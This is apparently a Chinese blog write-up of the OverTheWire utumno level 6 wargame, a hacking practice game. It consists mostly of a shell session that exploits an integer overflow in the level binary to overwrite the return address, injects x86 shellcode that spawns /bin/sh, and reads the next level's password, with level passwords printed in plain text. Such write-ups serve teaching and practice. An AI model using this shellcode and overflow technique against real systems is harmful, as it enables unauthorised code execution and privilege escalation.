utumno - 6

最新推荐文章于 2021-05-02 00:37:08 发布

shuimuyq

最新推荐文章于 2021-05-02 00:37:08 发布

阅读量1.2k

点赞数

分类专栏： wargames wargames-writeup

本文链接：https://blog.csdn.net/shuimuyq/article/details/51143396

版权

wargames-writeup 同时被 2 个专栏收录

26 篇文章 1 订阅

订阅专栏

wargames

25 篇文章 0 订阅

订阅专栏

root@today:~/Desktop/misc/utumno/utumno6# ssh utumno6@178.79.134.250

utumno6@178.79.134.250's password: eiluquieth

utumno6@melinda:~$ mkdir /tmp/utu6

utumno6@melinda:~$ cd /tmp/utu6

utumno6@melinda:/tmp/utu6$ gdb -tui /utumno/utumno6

#fetch the address return by malloc. it's 0x0804a008

#2147483663 = 0x8000000f  0x8000000f * 4 = 0x8000000f << (2) = 0x0000003c
#[esp + 0x3c + 0x20] = eip

utumno6@melinda:/tmp/utu6$ /utumno/utumno6 2147483663 804a008 `python -c 'print "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"'`
Table position -2147483633 has value 134520840
Description: j
              X1�Vh//shh/bin��1ɉ�̀
$ whoami
utumno7
$ cat /etc/utumno_pass/utumno7
totiquegae
$